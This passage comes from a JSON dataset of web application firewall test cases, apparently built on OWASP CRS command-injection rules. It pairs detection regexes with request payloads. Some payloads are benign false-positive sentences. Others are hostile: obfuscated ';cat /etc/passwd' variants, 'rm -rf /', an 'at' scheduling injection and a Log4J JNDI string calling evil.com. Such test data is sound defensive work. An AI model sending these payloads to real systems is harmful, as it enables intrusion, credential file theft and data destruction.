pasajeros.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\^]*(?:b[\\\"\\^]*o[\\\"\\^]*o|e[\\\"\\^]*d[\\\"\\^]*i)[\\\"\\^]*t|(?:d[\\\"\\^]*e[\\\"\\^]*h[\\\"\\^]*d|o[\\\"\\^]*o[\\\"\\^]*t)[\\\"\\^]*c[\\\"\\^]*f[\\\"\\^]*g|i[\\\"\\^]*t[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"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\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against '; vol'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=This street is the home of the Foreign Office, Mycroft's place of work; where the Mazarin Stone was stolen, and Percy Phelps chased the thief of the naval treaty.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*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\"\\^]*(?:e[\\\"\\^]*x[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*s[\\\"\\^]*e|i[\\\"\\^]*q[\\\"\\^]*u[\\\"\\^]*e[\\\"\\^]*i[\\\"\\^]*d|l[\\\"\\^]*o[\\\"\\^]*d[\\\"\\^]*c[\\\"\\^]*t[\\\"\\^]*r)|v[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against '; where'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=A brief overview of methods is presented here; for detailed coverage, see the cross-referenced articles.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\^]*(?:b[\\\"\\^]*o[\\\"\\^]*o|e[\\\"\\^]*d[\\\"\\^]*i)[\\\"\\^]*t|(?:d[\\\"\\^]*e[\\\"\\^]*h[\\\"\\^]*d|o[\\\"\\^]*o[\\\"\\^]*t)[\\\"\\^]*c[\\\"\\^]*f[\\\"\\^]*g|i[\\\"\\^]*t[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n)|c[\\\"\\^]*(?:a[\\\"\\^]*c[\\\"\\^]*l[\\\"\\^]*s|e[\\\"\\^]*r[\\\"\\^]*t[\\\"\\^]*(?:r[\\\"\\^]*e[\\\"\\^]*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]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against '; for'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=I have no money, but I’m gonna push through; if nothing happens by the end of next year, it’s a sign I need to move back home.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v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o[\\\"\\^]*d[\\\"\\^]*c[\\\"\\^]*t[\\\"\\^]*r)|v[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against '; if'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=;at%202:00%20\"echo%20test\"" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*a[\\\"\\^]*t[\\\"\\^]*[\\s\\x0b,\\./;<>].*(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932371", "test_description": "Windows Command Injection: at command injection scheduling a command" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=Go%20to%20store.%0AAt%20the%20store%2C%20shop." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*a[\\\"\\^]*t[\\\"\\^]*[\\s\\x0b,\\./;<>].*(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932371", "test_description": "Known false positive: matching `at` after newline" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=ifconfig;.+rm+-rf+/;+Something+%26%238222%3BThe+Title%26%238221%3B.+After+space+or+new+line+more+characters" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\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[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?e[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[\\s\\x0b&\\),<>\\|]|$).*|o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*\\.[\\s\\x0b].*\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932231", "test_description": "True Negative Rule Integrity 1\narg value of \"ifconfig;. rm -rf /; Something „The Title”. After space or new line more characters\" is blocked\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "OWASP CRS test agent ${:1337:-x$}{jndi:ldap://evil.com/webshell}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932131", "test_description": "Log4J test with evasion" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "mozilla/5.0(linux android 12 sm-a528b build/sp1a.210812.016 wv) applewebkit/537.36(khtml like gecko) version/4.0 chrome/110.0.5481.154 mobile safari/537.36 [fb_iab/fb4a fbav/403.0.0.27.81 ]" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932131", "test_description": "False positive against Facebook for Android user agent" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;/bin/ca?+/et*/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "globbing patterns" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;cat+/etc/%24%7Ba%7Dpasswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized variable" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;cat+/etc/%24%28echo%29passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "bash function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24%40at%2B%2Fet%24%40c%2Fpas%24%40swd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24%21at%2B%2Fet%24%21c%2Fpas%24%21swd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24%2Aat%2B%2Fet%24%2Ac%2Fpas%24%2Aswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24%3Fat%2B%2Fet%24%3Fc%2Fpas%24%3Fswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24-at%2B%2Fet%24-c%2Fpas%24-swd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24_at%2B%2Fet%24_c%2Fpas%24_swd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%24%24at%2B%2Fet%24%24c%2Fpas%24%24swd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "uninitialized vars" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;c%5Cat%20%2Fetc%2Fpasswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "['\\*\\?\\x5c`][^\\n/]+/|/[^/]+?['\\*\\?\\x5c`]|\\$[!#\\$\\(\\*\\-0-9\\?-\\[_a-\\{]", "negated": false } }, "transformations": [ "none", "lowercase", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932200", "test_description": "Test first backslash match ([*?`\\\\][^/\\n]+/) with: c\\at /etc/passwd\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "host=www.google.com;cat%20%2Fetc%2Fp%5Casswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": 